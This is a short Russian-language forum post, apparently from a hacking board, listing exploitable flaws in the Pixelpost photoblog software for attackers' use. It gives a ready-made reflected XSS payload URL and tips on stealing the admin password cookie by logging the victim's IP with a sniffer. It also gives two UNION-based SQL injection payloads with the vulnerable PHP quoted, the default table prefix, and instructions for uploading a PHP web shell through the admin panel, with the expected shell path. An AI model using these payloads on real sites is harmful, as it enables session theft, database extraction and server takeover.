Пассивная XSS Зависимость: register_globals = on
admin/pass_recovery.php?x=passreminder&admin_lang_pw_tit le=</title><script>alert()</script>
Пароль в куке pp_password, шифруется по алгоритму sha1(password.$_SERVER["REMOTE_ADDR"]), поэтому вывод айпи в сниффере обязателен
SQL-INJ Зависимость: magic_quotes = off
index.php?x=browse&category=a&archivedate=1990-12%00')+UNION+SELECT+1,2,DATABASE(),4,5%20--%20 Уязвимый кусок кода:
if(is_numeric($pp_cat) && $pp_cat != "")
{
[B].. вырезано ..[/B]
}
elseif(isset($_GET['archivedate']) && eregi("^[0-9]{4}-[0-9]{2}$", $_GET['archivedate']))
{
$where = "AND (DATE_FORMAT(datetime, '%Y-%m')='".$_GET['archivedate']."')"; //DATE_FORMAT(foo, '%Y-%m-%d')
$query = mysql_query("SELECT 1,id,{$headline_selection},image, datetime FROM ".$pixelpost_db_prefix."pixelpost WHERE (datetime<='$cdate') $where ORDER BY ".$cfgrow['display_sort_by']." ".$display_order);
SQL-INJ Зависимость: magic_quotes = off GET: index.php?x=browse&category=a && POST: category[]=') GROUP BY t2.id UNION SELECT 1,2,3,DATABASE(),5 -- Уязвимый кусок кода:
PHP код:
foreach( $_POST['category'] as $cat)
{
$cat = clean($cat);
$where .= "t1.cat_id='$cat' OR ";
$lookingfor++;
}
$where .= " 0)";
$querystr = "SELECT COUNT(t1.id), t2.id,{$headline_selection},image,datetime
FROM {$pixelpost_db_prefix}catassoc AS t1
INNER JOIN {$pixelpost_db_prefix}pixelpost t2 ON t2.id = t1.image_id
WHERE (datetime<='$cdate') AND
$where GROUP BY t2.id
ORDER BY ".$cfgrow['display_sort_by']." ".$display_order;
Префикс таблиц по дефолту - pixelpost_
Заливка шелла очень простая - админка не проверяет даже расширение заливаемого файла ..
ЗЫ: линк до шелла будет примерно такой: images/20090129070046_shell.php
Пока все, думаю найдутся еще баги, я не все просмотрел.